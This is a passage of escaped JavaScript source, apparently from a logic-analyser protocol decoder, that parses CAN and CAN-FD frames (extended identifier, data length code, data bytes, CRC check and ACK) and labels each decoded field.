item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"IDE = 1\\\", \\\"EXTENDED FRAME FORMAT\\\", dark_colors.violet, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 35; c < 39; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(t.sample, t.sample + spb - m, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (rtr_mode == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_DATA;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\t// Skip the data in case of RTR frame\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tstate = GET_CRC;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_DATA:\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\twhile (db < (data_size * 8)) \\t// Read data bits\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bitif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch,bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tb -= (data_size * 8);\\t// Now interpret those bits as bytes\\n\\t\\t\\t\\tpkt_data = \\\"\\\";\\n\\n\\t\\t\\t\\tfor (i = 0; i < data_size; i++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 8; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + (i * 8) + c];\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb) + m, bit_pos[b + (i * 8) + 7] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b + (i * 8)] - (0.5 * spb_hs) + m_hs, bit_pos[b + (i * 8) + 7] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D: \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D \\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\n\\t\\t\\t\\t\\tpkt_data += int_to_str_hex(val) + \\\" \\\";\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tpkt_add_item(bit_pos[b] - (0.5 * spb_hs), bit_pos[b + ((data_size - 1) * 8) + 7] + (0.5 * spb_hs), \\\"DATA\\\", pkt_data, dark_colors.gray, channel_color);\\n\\n\\t\\t\\t\\tb += (data_size * 8);\\n\\t\\t\\t\\tstate = GET_CRC;\\n\\n\\t\\t\\t\\t// TO DO:\\n\\t\\t\\t\\t// correct all start and end samples\\n\\t\\t\\t\\t// add packet for CRC, and error frames\\n\\t\\t\\t\\t// add the packet stop\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_CRC:\\n\\t\\t\\t\\tvar nbr_stf_b = 0;\\n\\t\\t\\t\\tdb = 0;\\n\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \\t// use High speed since now\\n\\n\\t\\t\\t\\t\\twhile (db-nbr_stf_b < crc_len) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (db % 5 ==0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_CROSS);\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t\\tnbr_stf_b++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= crc_len;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < crc_len; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\n\\t\\t\\t\\t\\tfor (c = 1; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> (crc_len)) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x3685B;\\n\\t\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x302898;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif (crc_len==17)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1ffff;\\n\\t\\t\\t\\t\\t\\telse if (crc_len==21)\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg &= 0x1fffff\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + crc_len-1] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += crc_len-1;\\n\\t\\t\\t\\t\\tbit_pos[b] += spb;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\twhile (db < 16) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= 16;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 15; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x4599;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tcrc_rg &= 0x7fff;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += 15;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ACK: \\t// and the EOF too.\\n\\t\\t\\t\\tbit_pos[b] -= spb;// CRC delimiter\\n\\t\\t\\t\\tack_chk = bit_sampler_next(ch);\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t// ACK delimiter\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \\t// Add the ACK item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \\t// Add the ACK item\\n\\n\\t\\t\\t\\tif(ack_chk == 1)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NO 